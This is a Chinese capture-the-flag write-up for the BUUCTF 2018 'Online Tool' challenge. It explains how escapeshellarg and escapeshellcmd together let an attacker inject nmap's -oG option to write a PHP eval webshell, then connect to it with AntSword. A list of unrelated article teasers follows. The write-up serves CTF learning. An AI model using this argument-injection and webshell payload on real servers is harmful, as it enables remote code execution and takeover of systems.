web:[BUUCTF 2018]Online Tool

题目

打开页面显示如下,进行代码审计

上述代码主要功能是接收‘host’参数,后使用nmap扫描主机端口

首先检查是否存在HTTP_X_FORWARDED_FOR头,若存在,将值赋值给EMOTE_ADDR,是为了跟踪用户真实的IP地址

后用检查get‘host’是否设置,如果没有就会用highlight_file(FILE)函数,高亮显示代码

若设置了,host的值会被存储到变量$host中,然后将escapeshellarg函数会对其进行转义处理,以防止注入攻击。然后,生成一个基于远程ip地址的md5散列值,将其作为沙箱目录的名称,并切换到这个目录下:

$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);  
echo 'you are in sandbox '.$sandbox;  
@mkdir($sandbox);  
chdir($sandbox);

代码首先使用远程IP地址($_SERVER['REMOTE_ADDR'])和一个固定字符串("glzjin")生成一个MD5散列值,并将其存储在变量$sandbox中。接着,它输出一个包含这个散列值的消息("you are in sandbox"),然后创建(mkdir)一个以这个散列值为名称的目录,并切换(chdir)到这个新创建的目录下。

注意,这段代码使用了@mkdirchdir函数,并且在mkdir函数中使用了错误抑制运算符(@),这意味着如果在尝试创建目录时遇到错误,错误信息会被抑制,不会在页面上显示出来

最后,nmap命令扫描指定主机。

经过上述代码审计可以发现,最后一句echo system的语句就是可以进行恶意攻击的点,system执行一条nmap命令在后面拼接上$host的内容,而$host是变量可控的,可以想到使用&&执行多条命令,但是代码中存在对host的过滤:escapeshellarg和escapeshellcmd两个函数

经过escapeshellcmd函数的处理后大部分命令都会被转义,但是当escapeshellagr()和escapeshellcmd()函数共同使用时就会产生逻辑漏洞

(这里参考大佬的本地测试进行理解[BUUCTF 2018]Online Tool_Fox_light的博客-CSDN博客)

可以利用这点进行恶意语句插入,但&&、||等逻辑符号都会被转义,只能使用nmap命令“-oG”进行写文件

构造payload

?host=' <?php @eval($_POST["hack"]);?> -oG hack.php '

 

写入文件成功,接下来访问写入的文件,由代码审计可得,文件再$sandbox目录下

http://0b956188-ef3b-4720-9677-f6fe215a57f4.node4.buuoj.cn:81/6b17d6cfb6c6a0721adf2f0de6dac5bc/hack.php

然后使用蚁剑连接

 得到flag

参考文章链接:

[BUUCTF 2018]Online Tool_Fox_light的博客-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/155405.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

第十九章,Java绘图

Graphics类 Graphics类是所有图形上下文的抽象基本类&#xff0c;它允许应用程序在组件以及闭屏图像上进行绘制 Graphics类封装了Java支持的基本绘图操作所需的状态信息&#xff0c;主要包括颜色、字体、画笔、文本、图像等 Graphics类提供了常用的绘图方法&#xff0c;利用这些…

Ubuntu 18.04无网络连接的n种可能办法

文章目录 网络图标消失&#xff0c;Ubuntu无网络连接VMware上Ubuntu18.04&#xff0c;桥接了多个网卡&#xff0c;其中一个用来上网&#xff0c;均设置为静态ip网络桥接链路没有接对路由不对 网络图标消失&#xff0c;Ubuntu无网络连接 sudo service network-manager stop sud…

家庭网络中的组网方式

家庭网络中&#xff0c;目前也衍生出了比较多的组网方式&#xff0c;也不是只有Easymesh&#xff0c;我们还是要辩证的去看&#xff0c;没有绝对的好和坏&#xff0c;需求不同&#xff0c;取舍不同。 这里博主简单的介绍几种组网方式&#xff0c;上图也比较直观 1.wds wds是…

系列九、对象的生命周期和GC

一、堆细分 Java堆从GC的角度还可以细分为&#xff1a;新生代&#xff08;eden【伊甸园区】、from【幸存者0区】、to【幸存者1区】&#xff09;和老年代。 二、MinorGC的过程 复制>清空》交换 1、eden、from区中的对象复制到to区&#xff0c;年龄1 首先&#xff0c;当eden区…

日本水稻(Oryza sativa Japonica rice)的基因组染色质长度 IRGSP-1.0

创作日志&#xff1a; 在看scHi-C综述的时候发现了一个在2021年发布在Nature Plants上的数据集&#xff0c;想拿来用&#xff0c;首先就要知道其对应的水稻品种以及染色质长度。最终在UCSC上找到了对应的组装好的基因组&#xff0c;版本名为 IRGSP-1.0。 UCSC链接&#xff1a;h…

如何让普通用户使用sudo?

一、sudo的作用 sudo就是可以让我们的普通用户以root身份去做一些事情&#xff0c;这相当于给普通用户提升了权限&#xff0c;但是并不是每个普通用户都可以随便拿到root的提权的&#xff0c;也就是sudo是要经过一定处理才可以给普通用户使用&#xff0c;那么如何处理呢&#x…

pytorch.nn.Conv1d详解

通读了从论文中找的代码&#xff0c;终于找到这个痛点了&#xff01; 以下详解nn.Conv1d方法 1 参数说明 in_channels(int) – 输入信号的通道。 out_channels(int) – 卷积产生的通道。 kernel_size(int or tuple) - 卷积核的尺寸&#xff0c;经测试后卷积核的大小应为in_cha…

OpenCV图像纹理

LBP描述 LBP&#xff08;Local Binary Pattern&#xff0c;局部二值模式&#xff09;是一种用来描述图像局部纹理特征的算子&#xff1b;它具有旋转不变性和灰度不变性等显著的优点。它是首先由T. Ojala, M.Pietikinen, 和D. Harwood 在1994年提出&#xff0c;用于纹理特征提取…

【深度学习实验】网络优化与正则化(六):逐层归一化方法——批量归一化、层归一化、权重归一化、局部响应归一化

文章目录 一、实验介绍二、实验环境1. 配置虚拟环境2. 库版本介绍 三、优化算法0. 导入必要的库1. 随机梯度下降SGD算法a. PyTorch中的SGD优化器b. 使用SGD优化器的前馈神经网络 2.随机梯度下降的改进方法a. 学习率调整b. 梯度估计修正 3. 梯度估计修正&#xff1a;动量法Momen…

使用uniapp写小程序,真机调试的时候不显示log

项目场景&#xff1a; 当小程序文件太大的情况下使用真机调试&#xff0c;但是真机调试的调试器没有任何反应 问题描述 使用uniapp写小程序&#xff0c;真机调试的时候不显示log 原因分析&#xff1a; 提示&#xff1a;因为真机调试的时候没有压缩文件&#xff0c;所以调试的…

为React Ant-Design Table增加字段设置 | 京东云技术团队

最近做的几个项目经常遇到这样的需求&#xff0c;要在表格上增加一个自定义表格字段设置的功能。就是用户可以自己控制那些列需要展示。 在几个项目里都实现了一遍&#xff0c;每个项目的需求又都有点儿不一样&#xff0c;迭代了很多版&#xff0c;所以抽时间把这个功能封装了…

基于STM32婴儿床检测控制系统及源程序

一、系统方案 1、本设计采用STM32单片机作为主控器。 2、DHT11检测湿度&#xff0c;液晶OLED显示&#xff0c;声音检测声音&#xff0c;有声音或尿床&#xff0c;蜂鸣器报警。 3、手机APP可以控制音乐播放。 二、硬件设计 原理图如下&#xff1a; 三、单片机软件设计 1、首先…

cookie机制

目录 为什么会有cookie?? cookie从哪里来的&#xff1f;&#xff1f; cookie到哪里去&#xff1f;&#xff1f; cookie有啥用&#xff1f;&#xff1f; session HttpServletRequest类中的相关方法 简单的实现cookie登录功能 实现登录页面 实现servlet逻辑 实现生成主…

R语言——taxize(第二部分)

taxize&#xff08;第二部分&#xff09; 3. taxize 文档中译3.10. classification&#xff08;根据类群ID检索分类阶元层级&#xff09;示例1&#xff1a;传递单个ID值示例2&#xff1a;传递多个ID值示例3&#xff1a;传递单个名称示例4&#xff1a;传递多个名称示例5&#xf…

用script去做前端html表格分页/排序

前言: 掘弃掉与后端交互做分页和互导,有利有弊吧; 在小数据的时候,如果不停来回朝服务端发送请求,会造成堵塞.于是,放弃了之前的前后端ajax方式去请求分页表格,使用script去弄一个,降低服务器的压力; 整体思路图: 代码构造: {% extends "order_header_same.html" …

如何通过 wireshark 捕获 C# 上传的图片

一&#xff1a;背景 1. 讲故事 这些天计划好好研究下tcp/ip&#xff0c;以及socket套接字&#xff0c;毕竟工控中设计到各种交互协议&#xff0c;如果只是模模糊糊的了解&#xff0c;对分析此类dump还是非常不利的&#xff0c;而研究协议最好的入手点就是用抓包工具 wireshar…

Trigger替换Demo

maven工程 pom依赖 <dependency><groupId>org.quartz-scheduler</groupId><artifactId>quartz</artifactId><version>2.2.1</version> </dependency> import org.quartz.Job; import org.quartz.JobExecutionContext; imp…

2023.11.16 hivesql高阶函数之开窗函数

目录 1.开窗函数的定义 2.数据准备 3.开窗函数之排序 需求:用三种排序方法查询学生的语文成绩排名,并降序显示 4.开窗函数分组 需求:按照科目来分类,使用三种排序方式来排序学生的成绩 5.聚合函数与分组配合使用 6.聚合函数同时和分组以及排序关键字配合使用 --需求1&…

设置float浮动

用途&#xff1a;用来实现并行。常用在div等块元素并行显示。 设置右浮动代码&#xff1a;float: right; 设置左浮动代码&#xff1a;float: left; 注意&#xff1a; 1.要浮动&#xff0c;所有盒子都要设置浮动。 2.行内元素如span&#xff0c;添加了float属性过后宽度和高…

iOS学习 --- Xcode 15 下载iOS_17.0.1_Simulator失败解决方法

1.去开发者官网下载安装包 https://developer.apple.com/download/all/?qiOS%2017 使用浏览器下载。 2.打开终端通过命令添加到xcode 命令如下&#xff1a; sudo xcode-select -s /Applications/Xcode.app(输入开始密码)xcodebuild -runFirstLaunch (等待一小会)xcrun simctl…